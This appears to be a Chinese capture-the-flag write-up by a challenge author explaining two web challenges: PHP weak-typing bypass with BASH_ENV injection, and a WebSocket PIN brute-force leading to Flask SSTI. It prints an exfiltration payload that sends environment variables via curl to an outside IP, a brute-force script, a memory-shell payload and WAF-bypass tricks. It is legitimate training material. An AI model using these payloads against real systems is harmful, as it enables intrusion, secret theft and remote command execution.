发布时间:2023-06-28 12:00
本次校赛我出了两个题,一个签到一个中等,由于自己的原因导致这两道题都出现了比较离谱的非预期,这里给师傅们谢罪了。
error_reporting(0);
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
if($action==='inject'){
die('Permission denied');
}
$lock = call_user_func(($_GET['Y']));
if (isset($_GET['env']) && $lock == "Web_Dog" && $action == 'inject') {
foreach ($_GET["env"] as $k => $v) {
putenv("{$k}={$v}");
}
system("bash -c 'snakin'");
foreach ($_GET["env"] as $k => $v) {
putenv("{$k}");
}
}
?>
考点有两个:弱类型绕过和环境变量注入
绕过1:
三元运算这⾥直接⽤了highlight_file的返回值作为$_GET[‘a’] 的初始值
本地测试此函数的返回值:
var_dump(highlight_file(__FILE__));
得到类型为:bool(true)
如果对$_GET['a']
不进⾏赋值,则默认值为true
那么我们便可以绕过$action == 'inject'
的判断
绕过2:
同样是弱类型比较,我们需要绕过call_user_func(($_GET['Y']))
call_user_func — 把第一个参数作为回调函数调用
那么我们只需找到一个调用后默认返回True的函数即可
这里使用session_start
绕过3:
简单的环境变量注入,给了bash -c
,提示使用BASH_ENV
,由于该变量默认无回显,利用curl外带数据即可
payload:
?env[BASH_ENV]=$(env | curl -d @- 1.117.171.248:39542)&Y=session_start
非预期:
呜呜呜把这个忘了
Y=phpinfo
进入后是一个登陆界面,当用户名输入错误时会提示Unknown user
,我们猜测用户名为admin
,此时用户名正确但是密码错误提示Incorrect PIN
。F12查看源码,得到提示Hgg说这是什么垃圾密码居然只有三位
查看一下js代码,登陆验证逻辑如下:
document.querySelector("input[type=submit]").addEventListener("click", checkPassword);
function checkPassword(evt) {
evt.preventDefault();
//Create WebSocket connection
const socket = new WebSocket("ws://" + window.location.host + "/internal/ws")
// Listen for messages
socket.addEventListener('message', (event) => {
if (event.data == "begin") {
socket.send("begin");
socket.send("user " + document.querySelector("input[name=username]").value)
socket.send("pass " + document.querySelector("input[name=password]").value)
} else if (event.data == "baduser") {
document.querySelector(".error").innerHTML = "Unknown user";
socket.close()
} else if (event.data == "badpass") {
document.querySelector(".error").innerHTML = "Incorrect PIN";
socket.close()
} else if (event.data.startsWith("session ")) {
document.cookie = "flask-session=" + event.data.replace("session ", "") + ";";
socket.send("goodbye")
socket.close()
window.location = "/internal/user";
} else {
document.querySelector(".error").innerHTML = "Unknown error";
socket.close()
}
})
}
WebSocket 是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议。
WebSocket 使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。在 WebSocket API 中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创建持久性的连接,并进行双向数据传输。
在 WebSocket API 中,浏览器和服务器只需要做一个握手的动作,然后,浏览器和服务器之间就形成了一条快速通道。两者之间就直接可以数据互相传送。
浏览器通过 JavaScript 向服务器发出建立 WebSocket 连接的请求,连接建立以后,客户端和服务器端就可以通过 TCP 连接直接交换数据。
当你获取 Web Socket 连接后,你可以通过 send() 方法来向服务器发送数据,并通过 onmessage 事件来接收服务器返回的数据。
那么根据代码可知,当用户名和密码验证成功就会跳转到/internal/user
路由。那么我们利用python的websockets库模拟客户端进行暴力破解。
import asyncio
import websockets
async def auth_system(websocket, password):
while True:
begin_text = "begin"
username = "user admin"
password = "pass "+ password
await websocket.send(begin_text)
await websocket.send(username)
await websocket.send(password)
response_str = await websocket.recv()
print(password +" " + response_str)
if "session" in response_str:
print("Your pwd is:"+password)
elif "badpass" in response_str:
return True
async def main_logic():
Continue = True
while Continue:
for id in range(1000):
password = str(id).zfill(3)
async with websockets.connect('ws://1.117.171.248:8651/internal/ws') as websocket:
Continue = await auth_system(websocket, str(password))
asyncio.get_event_loop().run_until_complete(main_logic())
爆破后进入,显示Hi,snakin.Tell me your name bro!
猜测需要提交一个name参数,简单测试一下会发现有WAF
黑名单如下:
bl = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9','\\', '+', 'class', 'init', 'config', 'self', 'globals', 'builtins', '{%', 'true','false', 'join', 'url_for', 'eval', 'session', 'lipsum', 'cycler', 'joiner', 'dir', 'first', 'last', '|','%','form','value','data','mro','base','cat','echo','$','env','export','system']
如果要执行命令我们可以考虑找__builtins__
模块
__builtins__
是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs
,max
,就是因为__builtins__
这类模块在Python启动时为我们导入了,可以使用dir(__builtins__)
来查看调用方法的列表,然后可以发现__builtins__
下有eval
,__import__
等的函数,因此可以利用此来执行命令。
那么在测试后会发现get_flashed_messages
没有被过滤,我们可以借此获取__builtins__
模块。接下来可能就要考虑执行命令,但是这个过滤导致SSTI的payload很难构造,此时我们会想到利用flask内存马。(我删掉了env命令)
一个原始的payload:
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
在实际应用中往往都存在过滤:
url_for
可替换为get_flashed_messages
或者request.__init__
或者request.application
.exec
等替换eval
.['__builtins__']['eval']
变为['__bui'+'ltins__']['ev'+'al']
.__globals__
可用__getattribute__('__globa'+'ls__')
替换.[]
可用.__getitem__()
或.pop()
替换.{{
或者}}
, 可以使用{%
或者%}
绕过, {%%}
中间可以执行if
语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果._
可以用编码绕过, 如__class__
替换成\x5f\x5fclass\x5f\x5f
, 还可以用dir(0)[0][0]
或者request['args']
或者request['values']
绕过..
可以采用attr()
或[]
绕过.SSTI
绕过过滤的方法即可…